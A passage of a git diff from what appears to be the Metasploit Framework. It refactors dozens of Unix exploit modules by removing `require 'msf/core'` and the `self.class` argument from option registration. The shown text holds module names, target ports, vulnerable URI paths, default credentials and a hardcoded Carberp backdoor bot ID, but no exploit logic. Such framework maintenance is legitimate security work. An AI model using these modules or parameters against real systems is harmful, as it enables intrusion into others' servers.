]) end def check diff --git a/modules/exploits/unix/misc/psh_auth_bypass.rb b/modules/exploits/unix/misc/psh_auth_bypass.rb index a968a6259c..891082d982 100644 --- a/modules/exploits/unix/misc/psh_auth_bypass.rb +++ b/modules/exploits/unix/misc/psh_auth_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index e86a518727..76ad90f2be 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8000) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb index 5b52c215f9..91506cc549 100644 --- a/modules/exploits/unix/misc/spamassassin_exec.rb +++ b/modules/exploits/unix/misc/spamassassin_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(783) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/misc/xerox_mfp.rb b/modules/exploits/unix/misc/xerox_mfp.rb index 5f5c297d71..a78048791f 100644 --- a/modules/exploits/unix/misc/xerox_mfp.rb +++ b/modules/exploits/unix/misc/xerox_mfp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(9100) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/misc/zabbix_agent_exec.rb b/modules/exploits/unix/misc/zabbix_agent_exec.rb index f197f52cf8..c1ba7666d0 100644 --- a/modules/exploits/unix/misc/zabbix_agent_exec.rb +++ b/modules/exploits/unix/misc/zabbix_agent_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(10050) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb index e2bcac05b5..8221fefaad 100644 --- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb +++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index 429deb28bf..fbf3b20912 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -85,14 +83,14 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']), OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']), OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ]) - ], self.class) + ]) register_advanced_options( [ OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]), OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]), OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index bac875c82e..0be76d0106 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index 34c4fb0d32..863cb65f06 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb index 3700edc024..c07127bfb3 100644 --- a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb +++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']), OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']), OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', '']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 2d27a36799..9e12f2f1f7 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb index c047d659b8..6b8146c091 100644 --- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb +++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb index b91d673eb6..483201541f 100644 --- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index 12a82d861e..c93582aa32 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index d334336979..b3d7c78b25 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/base_qry_common.rb b/modules/exploits/unix/webapp/base_qry_common.rb index 48882338b7..c20b11d31f 100644 --- a/modules/exploits/unix/webapp/base_qry_common.rb +++ b/modules/exploits/unix/webapp/base_qry_common.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]), - ], self.class) + ]) end def php_exploit diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 748c447481..1af0a3913d 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb index a91d30bcad..abcc40ec4c 100644 --- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb +++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb index 247850e4b8..1b661e7398 100644 --- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb +++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [ true, "CakePHP POST path", '/']), OptString.new('OptionalPostData', [ false, "Optional POST data", '']), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb index 108a21e443..0cfc144159 100644 --- a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb +++ b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]), OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']), - ],self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb index 30434c954c..422e6eda43 100644 --- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb +++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', [ true, 'Use SSL', true ]), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 538cc64d7a..217814691e 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 4d589b50b6..8a0eb9a17c 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "Coppermine directory path", "/cpg1414" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index 603c96f61f..c8732ffe7b 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"]) - ], self.class) + ]) end def uri diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb index cd39139bb4..0ddd21497b 100644 --- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb +++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index bbbfdab839..2a418abb0b 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index ed1b03f3f3..18a66f4d1f 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index 297c2c987f..1b3c95b9bc 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) - ], self.class) + ]) end def do_login(username, password) diff --git a/modules/exploits/unix/webapp/freepbx_config_exec.rb b/modules/exploits/unix/webapp/freepbx_config_exec.rb index ce9fec4a64..bb462efe5e 100644 --- a/modules/exploits/unix/webapp/freepbx_config_exec.rb +++ b/modules/exploits/unix/webapp/freepbx_config_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -45,12 +43,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/']) - ], self.class) + ]) register_advanced_options( [ OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb index d5969f2945..4957968d4d 100644 --- a/modules/exploits/unix/webapp/generic_exec.rb +++ b/modules/exploits/unix/webapp/generic_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb index 110a0ca5ec..a3ccf707bb 100644 --- a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb +++ b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']), OptString.new('USERNAME', [true, 'The username that will be used for authentication process']), OptString.new('PASSWORD', [true, 'The right password for the provided username']) - ], self.class) + ]) end def send_request_auth diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index 97d0e53509..1b583b0802 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index 527d3b92b8..515ba4202a 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb index 3be8d20512..62625aa96c 100644 --- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb +++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index 1d3a6013ee..8809624c73 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]), OptString.new('USER', [true, "The username to authenticate with", ""]), OptString.new('PASS', [true, "The password to authenticate with", ""]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index f74529955c..d9ebad2cf3 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to havalite', '/']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb index cb51feb8a5..c21f82bd56 100644 --- a/modules/exploits/unix/webapp/horde_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb index 1932c444a3..27bc087864 100644 --- a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # application config.php is overwritten @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 593e52d53b..4061fb841f 100644 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index c684cd70a8..f2e175eb28 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"]) - ], self.class) + ]) end def base diff --git a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb index 7fd532a986..5281d925b3 100644 --- a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb +++ b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' require 'json' @@ -51,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5]) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb index f36e78b209..c97fd5475e 100644 --- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb +++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, "Joomla directory path", "/"]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb index 337e7d0514..e1e4f71ffa 100644 --- a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb +++ b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 1e7eb42741..4294856111 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), OptString.new('USERNAME', [false, 'User to login with', '']), OptString.new('PASSWORD', [false, 'Password to login with', '']), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 15e2279e94..8f04854df8 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "Joomla directory path", "/"]), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 3b8111d4b0..62fa318ca6 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 